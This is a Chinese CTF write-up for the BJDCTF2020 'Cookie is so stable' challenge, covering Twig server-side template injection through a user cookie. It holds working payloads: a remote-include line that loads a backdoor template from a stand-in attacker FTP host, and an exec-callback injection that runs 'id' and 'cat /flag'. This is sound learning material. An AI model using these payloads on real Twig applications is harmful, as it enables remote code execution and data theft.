**
[BJDCTF2020]Cookie is so stable
**
**
前言:
**
不得不说又是膜拜众大佬的一天,题目对于萌新来说实在是难啊,只能搜寻wp加了解知识点边学边做了o(╥﹏╥)o
BUU实现题目复现,尽管题目写着cookie,但是重点却不是这 ̄□ ̄||。
知识点:SSTI(Twig),cookie注入
**
前置知识:
**
主要就是需要了解SSTI,具体解决Twig的。
附上大佬的链接,以下两篇文章都比较详细的讲了不同类型的SSTI,讲的是针不搓!
**
重点:
**
一张重要经典图片:
Twig:
复制别人的解释:
Twig 和 Smarty 类似,不过我们不能用它调用静态方法。幸运的是,它提供了 _self,我们并不需要暴力枚举变量名。虽然 _self
没什么有用的方法,它提供了指向 Twig_Environment 的env 属性。Twig_Environment 其中的 setCache
方法则能改变 Twig 加载 PHP 文件的路径。这样一来,我们就可以通过改变路径实现 RFI了:{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
但是,PHP 默认禁止远程文件包含(关闭 allow_url_include),因此上述 payload 不能生效。进一步探索,我们在
getFilter 里发现了危险函数 call_user_func。通过传递传递参数到该函数中,我们可以调用任意 PHP 函数:... foreach ($this->filterCallbacks as $callback) { if (false !== $filter = call_user_func($callback, $name)) { return $filter; } } return false; } public function registerUndefinedFilterCallback($callable) { $this->filterCallbacks[] = $callable; }
我们只需注册 exec 为 filter 的回调函数,并如此调用就可以进行注入了:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
**
解题过程:
**
进入网站,发现flag.php:
进入反正经过一番测试,发现是Twig:
知道题目提示cookie,所以F12查看,发现了user,判断是cookie这边注入:
所以接下来使用burpsuit抓包,进行cookie注入,写入payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
**
总结:
**
做完这题,了解到SSTI还有许多种类型,学习的路还很漫长啊o(╥﹏╥)o